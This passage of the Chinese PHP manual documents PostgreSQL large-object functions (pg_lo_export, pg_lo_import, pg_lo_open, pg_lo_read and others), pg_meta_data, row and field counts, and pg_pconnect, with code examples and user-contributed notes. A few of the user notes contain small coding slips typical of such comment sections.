
// --------- CLOSE CONN ---

   pg_close();
?>


将大型对象导出到文件

  • ? pg_lo_create
  • pg_lo_import ?
  • PHP Manual
  • PostgreSQL 函数
  • 将大型对象导出到文件

pg_lo_export

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_lo_export — 将大型对象导出到文件

说明

pg_lo_export(PgSql\Connection $connection = ?, int $oid, string $pathname): bool

pg_lo_export() 在 PostgreSQL 数据库中获取一个大对象并将其内容保存到本地文件系统上的文件中。

要使用大型对象（lo）接口，需要将其放置在事务块中。

Note:

本函数以前的名字为 pg_loexport()。

参数

connection

An PgSql\Connection instance. When connection is unspecified, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Warning

As of PHP 8.1.0, using the default connection is deprecated.

oid

要导出的数据库里的大型对象的 OID。

pathname

要导出的数据库里的大型对象的文件在客户端上完整路径和文件名。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 pg_lo_export() 示例

<?php
$database = pg_connect("dbname=jacarta");
pg_query($database, "begin");
$oid = pg_lo_create($database);
$handle = pg_lo_open($database, $oid, "w");
pg_lo_write($handle, "large object data");
pg_lo_close($handle);
pg_lo_export($database, $oid, '/tmp/lob.dat');
pg_query($database, "commit");
?>

参见

  • pg_lo_import() - 将文件导入为大型对象

User Contributed Notes

There are no user contributed notes for this page.


将文件导入为大型对象

  • ? pg_lo_export
  • pg_lo_open ?
  • PHP Manual
  • PostgreSQL 函数
  • 将文件导入为大型对象

pg_lo_import

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_lo_import — 将文件导入为大型对象

说明

pg_lo_import(PgSql\Connection $connection = ?, string $pathname, mixed $object_id = ?): int

pg_lo_import() 使用文件系统上的文件作为其数据源从而在数据库中创建新的大对象。

要使用大型对象接口，需要将其放置在事务块中。

Note:

本函数以前的名字为 pg_loimport()。

参数

connection

An PgSql\Connection instance. When connection is unspecified, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Warning

As of PHP 8.1.0, using the default connection is deprecated.

pathname

在客户端文件系统上读取大对象数据的文件的完整路径和文件名。

object_id

如果指定了 object_id，该函数将使用此 id 尝试创建大对象，否则服务器将分配空闲对象 id。该参数依赖于 PostgreSQL 8.1 中首次出现的功能。

返回值

新创建大对象的 OID， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 pg_lo_import() 示例

<?php
$database = pg_connect("dbname=jacarta");
pg_query($database, "begin");
$oid = pg_lo_import($database, '/tmp/lob.dat');
pg_query($database, "commit");
?>

参见

  • pg_lo_export() - 将大型对象导出到文件
  • pg_lo_open() - 打开大对象

User Contributed Notes

vi2 at vi2 dot com 01-Aug-2002 05:54
its not very clear if pg_lo_import needs to have pg_lo_open called first. Because pg_lo_import handles the process of writign to the file, it seems logical that pg_lo_open does not need to be called. However due to the ugly nature of how postgres handles oid objects, it would be nice to have this documented.
yohgaki at php dot net 19-Jun-2002 06:04
Due to a bug, OLD API does not available with PHP 4.2.0 and 4.2.1.

PHP 4.2.2 will support OLD API again and will be kept long enough.

New API will be available PHP 4.2.0 to later versions.
yohgaki at php dot net 19-Jun-2002 06:00
Due to a bug, PHP 4.2.0 and 4.2.1 does not support pg_lo_import() old API. It's fixed in PHP 4.2.2.

BTW, new API will be always available from PHP 4.2.0 to later versions. Older API will be kept long enough, also.
ceco at noxis dot net 15-May-2002 11:08
it works for me (php-4.2.1)

not like this

int pg_lo_import ( string pathname [, resource connection])

but
int pg_lo_import ( resource connection, string pathname )

don't know the reason


打开大对象

  • ? pg_lo_import
  • pg_lo_read_all ?
  • PHP Manual
  • PostgreSQL 函数
  • 打开大对象

pg_lo_open

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_lo_open — 打开大对象

说明

pg_lo_open(PgSql\Connection $connection, int $oid, string $mode): PgSql\Lob|false

pg_lo_open() 打开数据库中的大对象并返回 PgSql\Lob 实例，以便对其进行操作。

Warning

在关闭 PgSql\Lob 实例之前不要关闭数据库连接。

要使用大对象接口，必须将其封装在一个事务块中。

Note:

本函数以前的名字为 pg_loopen()。

参数

connection

An PgSql\Connection instance. When connection is unspecified, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Warning

As of PHP 8.1.0, using the default connection is deprecated.

oid

数据库中大对象的 OID。

mode

可以是只读的"r"、只写的"w"或读写的"rw"。

返回值

PgSql\Lob 实例， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在返回 PgSql\Lob 实例；之前返回 resource。
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 pg_lo_open() 示例

<?php
$database = pg_connect("dbname=jacarta");
pg_query($database, "begin");
$oid = pg_lo_create($database);
echo "$oid\n";
$handle = pg_lo_open($database, $oid, "w");
echo "$handle\n";
pg_lo_write($handle, "large object data");
pg_lo_close($handle);
pg_query($database, "commit");
?>

参见

  • pg_lo_close() - 关闭大对象
  • pg_lo_create() - 新建大对象

User Contributed Notes

metator at netcabo dot pt 29-Aug-2005 11:15
Just for the record, a user must be a superuser (database owner) in order to invoke pg_lo_open() (though pg_lo_create() may be invoked...). This opens a gigantic security hole in the db. If a user is not a superuser, db will raise an error with message "Can't create Large Object.".
Thus, imho, one should use pg_escape_bytea() instead.


读取整个大对象并直接发送到浏览器

  • ? pg_lo_open
  • pg_lo_read ?
  • PHP Manual
  • PostgreSQL 函数
  • 读取整个大对象并直接发送到浏览器

pg_lo_read_all

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_lo_read_all — 读取整个大对象并直接发送到浏览器

说明

pg_lo_read_all(PgSql\Lob $lob): int

pg_lo_read_all() 读取大对象并在发送完所有待发的 header 之后将其直接发送给浏览器。主要用于发送图片或声音等二进制数据。

要使用大对象接口，必须将其封装在一个事务块中。

Note:

本函数以前的名字为 pg_loreadall()。

参数

lob

通过 pg_lo_open() 返回的 PgSql\Lob 实例。

返回值

读取的字节数。

更新日志

版本 | 说明
8.1.0 | 现在 lob 接受 PgSql\Lob 实例，之前接受 resource。

示例

Example #1 pg_lo_read_all() 示例

<?php
header('Content-type: image/jpeg');
$image_oid = 189762345;
$database = pg_connect("dbname=jacarta");
pg_query($database, "begin");
$handle = pg_lo_open($database, $image_oid, "r");
pg_lo_read_all($handle);
pg_query($database, "commit");
?>

参见

  • pg_lo_read() - 读取大对象

User Contributed Notes

fabar2 at libero dot it 08-Oct-2011 08:36
Pay attention that if you omit the "length" parameter it will read a 8192 bytes object regardless to its real dimensions. If you want to use this function think to save the object size somewhere (usually a field in its table) before reading the object. Alternatively use the pg_lo_readall function.
robert dot bernier5 at sympatico dot ca 24-Sep-2004 07:45
// remember, large objects must be obtained from within a transaction
pg_query ($dbconn, "begin");

// "assume" for this example that the large object resource number of the zipped file is "17899"

$lo_oid = 17899;

$handle_lo = pg_lo_open($dbconn,$lo_oid,"r") or die("<h1>Error.. can't get handle</h1>");

//headers to send to the browser before beginning the binary download
header('Accept-Ranges: bytes');
header('Content-Length: 32029974'); //this is the size of the zipped file
header('Keep-Alive: timeout=15, max=100');
header('Content-type: Application/x-zip');
header('Content-Disposition: attachment; filename="superjob.zip"');

pg_lo_read_all($handle_lo) or
  die("<h1>Error, can't read large object.</h1>");

// committing the data transaction
pg_query ($dbconn, "commit");


读取大对象

  • ? pg_lo_read_all
  • pg_lo_seek ?
  • PHP Manual
  • PostgreSQL 函数
  • 读取大对象

pg_lo_read

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_lo_read — 读取大对象

说明

pg_lo_read(PgSql\Lob $lob, int $length = 8192): string|false

pg_lo_read() 从大对象中读取最多 length 字节的数据并以 string 返回。

要使用大对象接口，必须将其封装在一个事务块中。

Note:

本函数以前的名字为 pg_loread()。

参数

lob

通过 pg_lo_open() 返回的 PgSql\Lob 实例。

length

可选的要返回的最大字节数。

返回值

包含来自大对象的 length 字节的 string，或错误时为 false。

更新日志

版本 | 说明
8.1.0 | 现在 lob 接受 PgSql\Lob 实例，之前接受 resource。

示例

Example #1 pg_lo_read() 示例

<?php
$doc_oid = 189762345;
$database = pg_connect("dbname=jacarta");
pg_query($database, "begin");
$handle = pg_lo_open($database, $doc_oid, "r");
$data = pg_lo_read($handle, 50000);
pg_query($database, "commit");
echo $data;
?>

参见

  • pg_lo_read_all() - 读取整个大对象并直接发送到浏览器

User Contributed Notes

bobahspb at gmail dot com 22-Aug-2011 03:43
Be careful: pg_lo_export() create empty file without "begin"/"end".
See docs: "...it is necessary to enclose it within a transaction block..."


在大对象中寻找位置

  • ? pg_lo_read
  • pg_lo_tell ?
  • PHP Manual
  • PostgreSQL 函数
  • 在大对象中寻找位置

pg_lo_seek

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_lo_seek — 在大对象中寻找位置

说明

pg_lo_seek(PgSql\Lob $lob, int $offset, int $whence = SEEK_CUR): bool

pg_lo_seek() 在 PgSql\Lob 实例中寻找位置。

要使用大对象接口，必须将其封装在一个事务块中。

参数

lob

通过 pg_lo_open() 返回的 PgSql\Lob 实例。

offset

要寻找的字节数。

whence

常量 PGSQL_SEEK_SET（从对象开始处寻找）、 PGSQL_SEEK_CUR（从当前位置寻找） 或 PGSQL_SEEK_END（从对象结尾处寻找）之一。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 lob 接受 PgSql\Lob 实例，之前接受 resource。

示例

Example #1 pg_lo_seek() 示例

<?php
$doc_oid = 189762345;
$database = pg_connect("dbname=jacarta");
pg_query($database, "begin");
$handle = pg_lo_open($database, $doc_oid, "r");
// 忽略开始的 50000 字节
pg_lo_seek($handle, 50000, PGSQL_SEEK_SET);
// 读取接下来的 10000 字节
$data = pg_lo_read($handle, 10000);
pg_query($database, "commit");
echo $data;
?>

参见

  • pg_lo_tell() - 返回当前大型对象的指针位置

User Contributed Notes

There are no user contributed notes for this page.


返回当前大型对象的指针位置

  • ? pg_lo_seek
  • pg_lo_truncate ?
  • PHP Manual
  • PostgreSQL 函数
  • 返回当前大型对象的指针位置

pg_lo_tell

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_lo_tell — 返回当前大型对象的指针位置

说明

pg_lo_tell(PgSql\Lob $lob): int

pg_lo_tell() 返回当前大对象的指针位置（从头开始的偏移量）。

要使用大对象接口，必须将其封装在一个事务块中。

参数

lob

通过 pg_lo_open() 返回的 PgSql\Lob 实例。

返回值

当前查找距离大对象开头的偏移量（字节数）。如果有错误，返回值为负。

更新日志

版本 | 说明
8.1.0 | 现在 lob 接受 PgSql\Lob 实例，之前接受 resource。

示例

Example #1 pg_lo_tell() 示例

<?php
$doc_oid = 189762345;
$database = pg_connect("dbname=jacarta");
pg_query($database, "begin");
$handle = pg_lo_open($database, $doc_oid, "r");
// 忽略开始的 50000 字节
pg_lo_seek($handle, 50000, PGSQL_SEEK_SET);
// 查看忽略了多少
$offset = pg_lo_tell($handle);
echo "Seek position is: $offset";
pg_query($database, "commit");
?>

以上示例会输出：

Seek position is: 50000

参见

  • pg_lo_seek() - 在大对象中寻找位置

User Contributed Notes

Marv-CZ 15-Nov-2010 10:26
Function to take a large object size:

<?php
function pg_lo_size ($lo) {
  $pos = pg_lo_tell ($lo);
  pg_lo_seek ($lo, 0, PGSQL_SEEK_END);
  $size = pg_lo_tell ($lo);
  pg_lo_seek ($lo, $pos, PGSQL_SEEK_SET);
  return $size;
}
?>


Truncates a large object

  • ? pg_lo_tell
  • pg_lo_unlink ?
  • PHP Manual
  • PostgreSQL 函数
  • Truncates a large object

pg_lo_truncate

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

pg_lo_truncate — Truncates a large object

说明

pg_lo_truncate(PgSql\Lob $lob, int $size): bool

pg_lo_truncate() truncates an PgSql\Lob instance.

To use the large object interface, it is necessary to enclose it within a transaction block.

参数

lob

通过 pg_lo_open() 返回的 PgSql\Lob 实例。

size

The number of bytes to truncate.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 lob 接受 PgSql\Lob 实例，之前接受 resource。

示例

Example #1 pg_lo_truncate() example

<?php
$doc_oid = 189762345;
$database = pg_connect("dbname=jacarta");
pg_query($database, "begin");
$handle = pg_lo_open($database, $doc_oid, "r");
// Truncate to 0
pg_lo_truncate($handle, 0);
pg_query($database, "commit");
echo $data;
?>

参见

  • pg_lo_tell() - 返回当前大型对象的指针位置

User Contributed Notes

There are no user contributed notes for this page.


删除一个大型对象

  • ? pg_lo_truncate
  • pg_lo_write ?
  • PHP Manual
  • PostgreSQL 函数
  • 删除一个大型对象

pg_lo_unlink

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_lo_unlink — 删除一个大型对象

说明

pg_lo_unlink(PgSql\Connection $connection, int $oid): bool

pg_lo_unlink() 删除由 oid 指定的大型对象。成功时返回 true， 或者在失败时返回 false。

要使用大型对象（lo）接口，需要将其放置在事务块中。

Note:

本函数以前的名字为 pg_lounlink()。

参数

connection

An PgSql\Connection instance. When connection is unspecified, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Warning

As of PHP 8.1.0, using the default connection is deprecated.

oid

数据库中大对象的 OID。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 pg_lo_unlink() 示例

<?php
// 要删除的大对象的 OID
$doc_oid = 189762345;
$database = pg_connect("dbname=jacarta");
pg_query($database, "begin");
pg_lo_unlink($database, $doc_oid);
pg_query($database, "commit");
?>

参见

  • pg_lo_create() - 新建大对象
  • pg_lo_import() - 将文件导入为大型对象

User Contributed Notes

There are no user contributed notes for this page.


向大对象写入数据

  • ? pg_lo_unlink
  • pg_meta_data ?
  • PHP Manual
  • PostgreSQL 函数
  • 向大对象写入数据

pg_lo_write

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_lo_write — 向大对象写入数据

说明

pg_lo_write(PgSql\Lob $lob, string $data, ?int $length = null): int|false

pg_lo_write() 在大对象的当前位置写入数据。

要使用大对象接口，必须将其封装在一个事务块中。

Note:

本函数以前的名字为 pg_lowrite()。

参数

lob

通过 pg_lo_open() 返回的 PgSql\Lob 实例。

data

写入到大对象中的数据。如果 length 是 int 并且少于 data 的长度，仅会写入 length 个字节。

length

可选的最大写入字节数。必须大于零且不大于 data 的长度。默认为 data 的长度。

返回值

写入到大对象的字节数，或出错时为 false。

更新日志

版本 | 说明
8.1.0 | 现在 lob 接受 PgSql\Lob 实例，之前接受 resource。
8.0.0 | length 现在可为 null。

示例

Example #1 pg_lo_write() 示例

<?php
$doc_oid = 189762345;
$data = "This will overwrite the start of the large object.";
$database = pg_connect("dbname=jacarta");
pg_query($database, "begin");
$handle = pg_lo_open($database, $doc_oid, "w");
$data = pg_lo_write($handle, $data);
pg_query($database, "commit");
?>

参见

  • pg_lo_create() - 新建大对象
  • pg_lo_open() - 打开大对象

User Contributed Notes

nandrews at logictree dot co dot uk 05-Jun-2003 08:17
Using php 4.3.0 and PostgreSQL 7.3.1

I can write a simple script in which pg_lo_write seems to always return 1 and not the number of bytes written, as evidenced by extracting the data through another means.

Further more, I can make this pg_lo_write fail, or at least fail to write all the data it's pretty difficult to tell without the number of bytes written being returned, and not return the false value. In addition to this, the lo resource has been adjusted so that the oid it contains is 0.

Unfortunately, I do not know what exactly the failure mode is, it does seem to be in the ip network communication side of PostgreSQL, which is odd since the unix domain comms works fine for this. However, it would have been useful to have the pg_lo_write() function return as advertised, it would have saved some of the 2 man hours me and the dev. team put into diagnosing this problem.
cedric at isoca.com 27-Apr-2001 05:26
Be aware when you modify a lo with pg_lowrite() to remove first the old one : if the new lo is smaller than the one before, it only overwrite the begining and you keep the end of the old lo (open with "w" parameter, PHP 4.04 Linux RH).


获得表的元数据

  • ? pg_lo_write
  • pg_num_fields ?
  • PHP Manual
  • PostgreSQL 函数
  • 获得表的元数据

pg_meta_data

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_meta_data — 获得表的元数据

说明

pg_meta_data(PgSql\Connection $connection, string $table_name, bool $extended = false): array|false

pg_metadata() 以数组形式返回 table_name 的表定义。

参数

connection

PgSql\Connection 实例。

table_name

表名。

extended

用于返回扩展元数据的 flag。默认为 false。

返回值

以 array 形式返回表定义， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 取得表的元数据

<?php
$dbconn = pg_connect("dbname=publisher") or die("Could not connect");

$meta = pg_meta_data($dbconn, 'authors');
if (is_array($meta)) {
echo '<pre>';
var_dump($meta);
echo '</pre>';
}
?>

以上示例会输出：

array(3) {
["author"]=>
array(5) {
  ["num"]=>
  int(1)
  ["type"]=>
  string(7) "varchar"
  ["len"]=>
  int(-1)
  ["not null"]=>
  bool(false)
  ["has default"]=>
  bool(false)
}
["year"]=>
array(5) {
  ["num"]=>
  int(2)
  ["type"]=>
  string(4) "int2"
  ["len"]=>
  int(2)
  ["not null"]=>
  bool(false)
  ["has default"]=>
  bool(false)
}
["title"]=>
array(5) {
  ["num"]=>
  int(3)
  ["type"]=>
  string(7) "varchar"
  ["len"]=>
  int(-1)
  ["not null"]=>
  bool(false)
  ["has default"]=>
  bool(false)
}
}

参见

  • pg_convert() - 将关联的数组值转换为适合 SQL 语句的格式

User Contributed Notes

shaman_master at list dot ru 28-Apr-2019 11:03
If parameter $extended not false:
<?php
array (size=2)
  'name' =>
    array (size=11)
      'num' => int 1
      'type' => string 'varchar' (length=7)
      'len' => int -1
      'not null' => boolean false
      'has default' => boolean true
      'array dims' => int 0
      'is enum' => boolean false
      'is base' => boolean true
      'is composite' => boolean false
      'is pesudo' => boolean false
      'description' => string '' (length=0)
  'id' =>
    array (size=11)
      'num' => int 2
      'type' => string 'int4' (length=4)
      'len' => int 4
      'not null' => boolean true
      'has default' => boolean true
      'array dims' => int 0
      'is enum' => boolean false
      'is base' => boolean true
      'is composite' => boolean false
      'is pesudo' => boolean false
      'description' => string '' (length=0)
?>
Hayley Watson 17-Jul-2017 02:34
To specify a schema as well as a table name, use the "schemaname.tablename" form as usual for PostgreSQL and the other functions in this extension. Without the prefix, of course, the default schema search path is used.

<?php
  $meta = pg_meta_data($dbconn, 'foo.bar'); // table "bar" in schema "foo"
  if (is_array($meta)) {
      var_dump($meta);
  }
?>
jsnell at e-normous dot com 12-Nov-2007 03:24
The built in function does not provide any support for selecting a schema.  If you need schema support and do not want to alter your SEARCH_PATH, the following function can provide it:

 function meta_data($table, $schema = 'public')
    {
$result = pg_query_params("SELECT a.attname, a.attnum, t.typname, a.attlen, a.attnotNULL, a.atthasdef, a.attndims
FROM pg_class as c, pg_attribute a, pg_type t, pg_namespace n
WHERE a.attnum > 0
AND a.attrelid = c.oid
AND c.relname = $1
AND a.atttypid = t.oid
AND n.oid = c.relnamespace
AND n.nspname = $2
ORDER BY a.attnum", array($table, $schema));
$fields = array();
while($row = pg_fetch_array()) {
$fields['attname'] = $row;
}
        return $fields;
    }
yarnofmoo at gmail dot com 27-Jun-2007 08:32
You can get some possibly more useful information with the query:

SELECT table_name, column_name, data_type, character_maximum_length FROM information_schema.columns WHERE table_name='tablename';
rburghol at vt dot edu 24-Jun-2005 06:37
When querying on meta data from a temp table, the meta data seems to persist even if a fresh connection is established, where the temp table no longer exists.

 For example, if you create a connection and a temp table like so:
$dbconn1 = pg_connect('blah blah', , PGSQL_CONNECT_FORCE_NEW);
pg_exec($dbconn1,'create temp table foo as select 'foo' as namecol, 'bar' as valcol');

Then create a new connection

$dbconn2 = pg_connect('blah blah', , PGSQL_CONNECT_FORCE_NEW);

And query the meta data for table 'foo' in this new connection, it will report the facts about this table:
pg_meta_data($dbconn2,'foo');

"'Array ( [foo] => Array ( [num] => 1 [type] => varchar... "

However, trying to remove this table:
pg_exec($dbconn,'drop table foo');

Throws an error:
pg_exec(): Query failed: ERROR: table "foo" does not exist in ...
dmiller at NOSPAM dot judcom dot nsw dot gov dot au 18-Jun-2003 01:31
This function seems to be case-sensitive on tablename (php-4.3.1)

The Array returned is of the following structure
['field name'] => Array
   (
     ['num'] => Field number starting at 1
     ['type'] => data type, eg varchar, int4
     ['len'] => internal storage size of field. -1 for varying
     ['not null'] => boolean
     ['has default'] => boolean
   )
     ......

for Varied size datatypes (varchar, text, etc)
you can get the max data length from the system table pg_attribute.atttypmod -4
eg.
select attnum, attname , atttypmod -4 as field_len
from pg_attribute, pg_class
where relname='$tablename'
and attrelid=relfilenode
and attnum>=1


返回结果中字段的数量

  • ? pg_meta_data
  • pg_num_rows ?
  • PHP Manual
  • PostgreSQL 函数
  • 返回结果中字段的数量

pg_num_fields

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_num_fields — 返回结果中字段的数量

说明

pg_num_fields(PgSql\Result $result): int

pg_num_fields() 返回 PgSql\Result 实例中字段（列）的数量。

Note:

本函数以前的名字为 pg_numfields()。

参数

result

PgSql\Result 实例，由 pg_query()、pg_query_params() 或者 pg_execute()（等）返回。

返回值

结果中的字段（列）的数量。错误时返回 -1。

更新日志

版本 | 说明
8.1.0 | 现在 result 参数接受 PgSql\Result 实例，之前接受 resource。

示例

Example #1 pg_num_fields() 示例

<?php
$result = pg_query($conn, "SELECT 1, 2");

$num = pg_num_fields($result);

echo $num . " field(s) returned.\n";
?>

以上示例会输出：

2 field(s) returned.

参见

  • pg_num_rows() - 返回结果中行的数量
  • pg_affected_rows() - 返回受影响的记录数（元组）

User Contributed Notes

mark at redbrick dot dcu dot ie 24-Mar-2003 01:02
Here is a simple example for using pg_num_feilds, pg_num_rows and pg_result together.  I'm simply SELECTing * from a table named markie on the current pg_connect().

<?php
    $pgsql_conn = pg_connect("dbname=mark host=localhost");

    if (!$pgsql_conn) {
        print pg_last_error($pgsql_conn);
        exit;
    }

    $results = pg_query($pgsql_conn, "SELECT * FROM markie");

    echo "<table border=1>\n";
    for($lt = 0; $lt < pg_num_rows($results); $lt++) {
        echo "<tr>\n";
        for($gt = 0; $gt < pg_num_fields($results); $gt++) {
            echo "<td>" . pg_result($results, $lt, $gt) . "</td>\n";
        }
        echo "</tr>\n";
    }
    echo "</table>\n";

    pg_close($pgsql_conn);
?>

This code snippet will print out the rows and columns into a HTML table.

Regards,  --mark


返回结果中行的数量

  • ? pg_num_fields
  • pg_options ?
  • PHP Manual
  • PostgreSQL 函数
  • 返回结果中行的数量

pg_num_rows

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_num_rows — 返回结果中行的数量

说明

pg_num_rows(PgSql\Result $result): int

pg_num_rows() 返回 PgSql\Result 实例中的行的数量。

Note:

本函数以前的名字为 pg_numrows()。

参数

result

PgSql\Result 实例，由 pg_query()、pg_query_params() 或者 pg_execute()（等）返回。

返回值

结果中行的数量。错误时返回 -1。

更新日志

版本 | 说明
8.1.0 | 现在 result 参数接受 PgSql\Result 实例，之前接受 resource。

示例

Example #1 pg_num_rows() 示例

<?php
$result = pg_query($conn, "SELECT 1");

$rows = pg_num_rows($result);

echo $rows . " row(s) returned.\n";
?>

以上示例会输出：

1 row(s) returned.

参见

  • pg_num_fields() - 返回结果中字段的数量
  • pg_affected_rows() - 返回受影响的记录数（元组）

User Contributed Notes

strata_ranger at hotmail dot com 10-May-2009 10:06
As mentioned, if you are performing an INSERT/UPDATE or DELETE query and want to know the # of rows affected, you should use pg_affected_rows() instead of pg_num_rows().

However, you can also exploit postgres's RETURNING clause in your query to auto-select columns from the affected rows.  This has the advantage of being able to tell not only how many rows a query affects, but exactly which rows those were, especially if you return a primary-key column.

For example:

<?php

// Example query.  Let's say that this updates five rows in the source table.
$res = pg_query("Update foo set bar = 'new data' where foo.bar = 'old data' ");
pg_num_rows($res); // 0
pg_affected_rows($res); // 5
pg_fetch_all($res); // FALSE

// Same query, with a RETURNING clause.
$res = pg_query("Update foo set bar = 'new data' where foo.bar = 'old data' RETURNING foo.pkey");
pg_num_rows($res); // 5
pg_affected_rows($res); // 5
pg_fetch_all($res); // Multidimensional array corresponding to our affected rows & returned columns
?>
ElDiablo 06-Oct-2008 07:09
About preceding note, you shouldn't use pg_num_rows() for this.
You should have instead a look at pg_affected_rows().
francisco at natserv dot com 07-Jan-2008 08:26
Not sure why this documentation doesn't have the following note:
Note: Use pg_affected_rows() to get number of rows affected by INSERT, UPDATE and DELETE query.

Found on other resources. Adding here in case someone else is looking for the info.


获得和 connection 相关的选项

  • ? pg_num_rows
  • pg_parameter_status ?
  • PHP Manual
  • PostgreSQL 函数
  • 获得和 connection 相关的选项

pg_options

(PHP 4, PHP 5, PHP 7, PHP 8)

pg_options — 获得和 connection 相关的选项

说明

pg_options(?PgSql\Connection $connection = null): string

pg_options() 将返回字符串，包含指定 PostgreSQL connection 实例的特定选项。

参数

connection

An PgSql\Connection instance. When connection is null, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Warning

As of PHP 8.1.0, using the default connection is deprecated.

返回值

包含 connection 选项的 string。

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。
8.0.0 | connection 现在可为 null。

示例

Example #1 pg_options() 示例

<?php
$pgsql_conn = pg_connect("dbname=mark host=localhost");
echo pg_options($pgsql_conn);
?>

参见

  • pg_connect() - 打开 PostgreSQL 连接

User Contributed Notes

Robert Treat <xzilla at sourceforge> 31-Dec-2004 08:07
Apparently this function does not return the database name given in the connection string.  I tried this on apache 2.x/php4.3.x/pg7.4.x and apache 1.3.x/php5.x/pg8rc1 and saw this behavior on both setups.


Looks up a current parameter setting of the server

  • ? pg_options
  • pg_pconnect ?
  • PHP Manual
  • PostgreSQL 函数
  • Looks up a current parameter setting of the server

pg_parameter_status

(PHP 5, PHP 7, PHP 8)

pg_parameter_status — Looks up a current parameter setting of the server

说明

pg_parameter_status(PgSql\Connection $connection = ?, string $param_name): string

Looks up a current parameter setting of the server.

Certain parameter values are reported by the server automatically at connection startup or whenever their values change. pg_parameter_status() can be used to interrogate these settings. It returns the current value of a parameter if known, or false if the parameter is not known.

Parameters reported as of PostgreSQL 8.0 include server_version, server_encoding, client_encoding, is_superuser, session_authorization, DateStyle, TimeZone, and integer_datetimes. (server_encoding, TimeZone, and integer_datetimes were not reported by releases before 8.0.) Note that server_version, server_encoding and integer_datetimes cannot change after PostgreSQL startup.

PostgreSQL 7.3 or lower servers do not report parameter settings, pg_parameter_status() includes logic to obtain values for server_version and client_encoding anyway. Applications are encouraged to use pg_parameter_status() rather than ad hoc code to determine these values.

Caution

On a pre-7.4 PostgreSQL server, changing client_encoding via SET after connection startup will not be reflected by pg_parameter_status().

参数

connection

An PgSql\Connection instance. When connection is unspecified, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Warning

As of PHP 8.1.0, using the default connection is deprecated.

param_name

Possible param_name values include server_version, server_encoding, client_encoding, is_superuser, session_authorization, DateStyle, TimeZone, and integer_datetimes. Note that this value is case-sensitive.

返回值

A string containing the value of the parameter, false on failure or invalid param_name.

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 pg_parameter_status() example

<?php
$dbconn = pg_connect("dbname=publisher") or die("Could not connect");

echo "Server encoding: ", pg_parameter_status($dbconn, "server_encoding");
?>

以上示例会输出：

Server encoding: SQL_ASCII

User Contributed Notes

There are no user contributed notes for this page.


打开一个持久的 PostgreSQL 连接

  • ? pg_parameter_status
  • pg_ping ?
  • PHP Manual
  • PostgreSQL 函数
  • 打开一个持久的 PostgreSQL 连接

pg_pconnect

(PHP 4, PHP 5, PHP 7, PHP 8)

pg_pconnect — 打开一个持久的 PostgreSQL 连接

说明

pg_pconnect(string $connection_string, int $flags = 0): PgSql\Connection|false

pg_pconnect() 打开一个到 PostgreSQL 数据库的持久连接。返回其它 PostgreSQL 函数所需要的 PgSql\Connection 实例。

如果使用与已有连接相同的 connection_string 对 pg_pconnect() 进行第二次调用，则将返回已有连接，除非将 PGSQL_CONNECT_FORCE_NEW 传递给 flags。

要打开持久连接功能，php.ini 中的 pgsql.allow_persistent 参数必须为 "On"（也是默认值）。最大持久连接数目由 php.ini 中的 pgsql.max_persistent 参数定义（默认为 -1 表示没有限制）。所有连接的数目可由 php.ini 中的 pgsql.max_links 参数设置。

pg_close() 不能关闭由 pg_pconnect() 打开的持久连接。

参数

connection_string

connection_string 可以为空以使用所有默认参数，也可以包含一个或多个由空格分隔的参数设置。每个参数设置的形式为 keyword = value。等号旁边的空格是可选的。要写入空值或包含空格的值，请用单引号将其括起来，例如，keyword = 'a value'。值中的单引号和反斜线必须用反斜线转义，即 \' 和 \\。

当前可识别的参数关键字是：host、hostaddr、port、dbname、user、password、connect_timeout、options、tty（已忽略）、sslmode、requiressl（已弃用以支持 sslmode）和 service。存在哪些参数取决于 PostgreSQL 版本。

flags

如果传递了 PGSQL_CONNECT_FORCE_NEW，则会创建新连接，即使 connection_string 与现有连接相同。

返回值

成功时返回 PgSql\Connection 实例， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在返回 PgSql\Connection 实例；之前返回 resource。

示例

Example #1 使用 pg_pconnect()

<?php
$dbconn = pg_pconnect("dbname=mary");
//connect to a database named "mary"

$dbconn2 = pg_pconnect("host=localhost port=5432 dbname=mary");
// connect to a database named "mary" on "localhost" at port "5432"

